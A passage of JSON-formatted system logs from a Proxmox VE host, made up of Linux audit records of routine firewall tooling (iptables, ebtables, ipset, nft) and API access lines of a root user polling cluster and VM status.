subj=unconfined key=\"exec\""} {"@timestamp":1781966215846,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.846:68944): arch=c000003e syscall=59 success=yes exit=0 a0=642ce9a650e0 a1=642ce9a61e60 a2=642ce9a43680 a3=5 items=2 ppid=66201 pid=66207 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965532961,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:31 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 915"} {"@timestamp":1781964605340,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.340:61752): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965764207,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965764.207:66987): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64336 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215890,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.890:68951): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965071855,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.855:63980): arch=c000003e syscall=59 success=no exit=-2 a0=65040f179630 a1=65041095f400 a2=65040f164680 a3=5 items=1 ppid=61415 pid=61429 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"pve-bridgedown\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964396681,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1074"} {"@timestamp":1781964205628,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.628:60043): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57657 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.842:68943): arch=c000003e syscall=59 success=yes exit=0 a0=642cce184ac8 a1=7ffe3c021e70 a2=642ce9a43680 a3=642cce16824e items=2 ppid=66201 pid=66203 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965531773,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964605333,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.333:61751): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965764207,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965764.207:66986): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64336 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215884,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.884:68950): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965071836,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.836:63976): arch=c000003e syscall=59 success=no exit=-2 a0=6504108f9f80 a1=65041095f400 a2=65040f164680 a3=5 items=1 ppid=61415 pid=61426 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"pve-bridgedown\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964396681,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:35 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 848"} {"@timestamp":1781964205621,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.621:60042): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57656 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215840,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.840:68942): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe3c021e30 a1=642ce9a4a310 a2=642ce9a43680 a3=5 items=2 ppid=66201 pid=66202 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965531773,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781964605327,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.327:61750): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965759194,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965759.194:66984): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64335 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215877,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.877:68949): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965071686,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.686:63970): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61418 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964395812,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781964205614,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.614:60041): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57655 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215835,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.835:68940): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66201 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965531773,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:30 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 939"} {"@timestamp":1781964605322,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.322:61748): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965759194,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965759.194:66983): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64335 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215869,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.869:68948): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965071686,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.686:63969): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61418 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964392653,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1087"} {"@timestamp":1781964205608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.608:60040): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57654 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215833,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.833:68939): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66200 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965531773,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:30 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781964605317,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.317:61747): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965759187,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965759.187:66981): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64334 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215864,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.864:68947): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965071678,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.678:63967): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61417 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964391652,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964205600,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.600:60039): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57653 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215828,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.828:68936): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66198 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965530751,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:29 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 935"} {"@timestamp":1781964605312,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.312:61746): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965759187,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965759.187:66980): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64334 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215856,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.856:68946): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965071678,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965071.678:63966): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61417 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964390637,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:29 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 844"} {"@timestamp":1781964205598,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.598:60038): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=63214c76e740 items=0 ppid=1156 pid=57652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966215828,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.828:68935): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66199 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965529752,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:28 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964605307,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.307:61745): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965755230,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.230:66976): arch=c000003e syscall=59 success=no exit=-2 a0=7fff71717680 a1=5e23c80561c0 a2=5e23c8034680 a3=5 items=1 ppid=64327 pid=64328 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215849,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.849:68945): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965066668,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965066.668:63959): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61412 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964388642,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1087"} {"@timestamp":1781964205595,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.595:60037): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13d600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215819,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.819:68932): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66197 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965529752,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:28 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964605302,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.302:61744): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965755133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.133:66958): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd518ae3b0 a1=564b6953f310 a2=564b69538680 a3=5 items=1 ppid=64308 pid=64309 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215846,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.846:68944): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965066668,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965066.668:63958): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61412 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964387601,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781964205590,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.590:60036): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e8290 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215814,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.814:68931): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac9ae0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66196 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965529752,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:28 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 889"} {"@timestamp":1781964605296,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.296:61743): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965754181,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965754.181:66948): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64298 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215842,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.842:68943): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965066663,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965066.663:63956): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61411 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964384609,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1076"} {"@timestamp":1781964205584,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.584:60035): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1408d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57650 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215805,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.805:68930): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecbb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66195 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965528643,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:28 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781964605290,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.290:61742): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965754181,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965754.181:66947): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64298 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215840,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.840:68942): argc=1 a0=\"date\""} {"@timestamp":1781965066662,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965066.662:63955): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61411 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964384609,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:23 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 844"} {"@timestamp":1781964205579,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.579:60034): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ee1a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57649 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215794,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.794:68929): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e25b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66194 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965528643,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:28 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781964605283,"@rawstring":"node=pve type=EXECVE msg=audit(1781964605.283:61741): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965754174,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965754.174:66945): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64297 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215835,"@rawstring":"node=pve type=EXECVE msg=audit(1781966215.835:68940): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965065695,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965065.695:63951): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd31b07560 a1=64e2fc533410 a2=64e2fc511680 a3=5 items=1 ppid=61404 pid=61405 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964383602,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964205573,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.573:60033): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0edf70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57648 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966214467,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966214.467:68928): arch=c000003e syscall=59 